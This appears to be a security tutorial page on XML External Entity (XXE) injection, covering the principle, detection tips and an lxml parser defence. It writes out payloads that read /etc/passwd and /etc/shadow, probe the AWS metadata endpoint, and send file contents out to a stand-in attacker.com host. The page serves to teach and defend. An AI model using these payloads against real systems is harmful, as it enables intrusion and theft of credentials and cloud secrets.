Skip to main content

63. XXE Injection: When XML Becomes an Attack Vector

XML External Entity (XXE) Injection is an attack that abuses an XML parser's external-entity processing. It is a classic that has consistently appeared in the OWASP Top 10, yet it is still found in countless services.

Basic Principle​

XML can define external entities in a DOCTYPE declaration.

<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>

While parsing this XML, the server replaces &xxe; with the contents of /etc/passwd. That is all it takes. The server reads the file and includes it in the response on its own.

Major Attack Scenarios​

File read (LFI)

<!ENTITY xxe SYSTEM "file:///etc/shadow">

SSRF (internal server scanning)

<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">

This pattern targets the AWS metadata server. It is devastating in cloud environments.

Blind XXE

When data does not appear directly in the response, use an Out-of-Band (OOB) approach.

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY exfil SYSTEM 'http://attacker.com/?d=%file;'>">

The file contents appear in the attacker's server logs.

Detection​

  • Test inserting DOCTYPE into XML requests in Burp Suite
  • Prioritize endpoints with Content-Type: application/xml or text/xml
  • Do not overlook /.svn/, /api/, or SOAP-based services

Defense​

# Python lxml example
parser = etree.XMLParser(resolve_entities=False, no_network=True)

The key is to disable external-entity resolution itself. Filtering is not enough.

Closing Thoughts​

Do not let the decline of XXE after the shift to JSON make you complacent. File uploads such as docx, xlsx, and svg are XML too. A single spreadsheet can provide a view inside a server.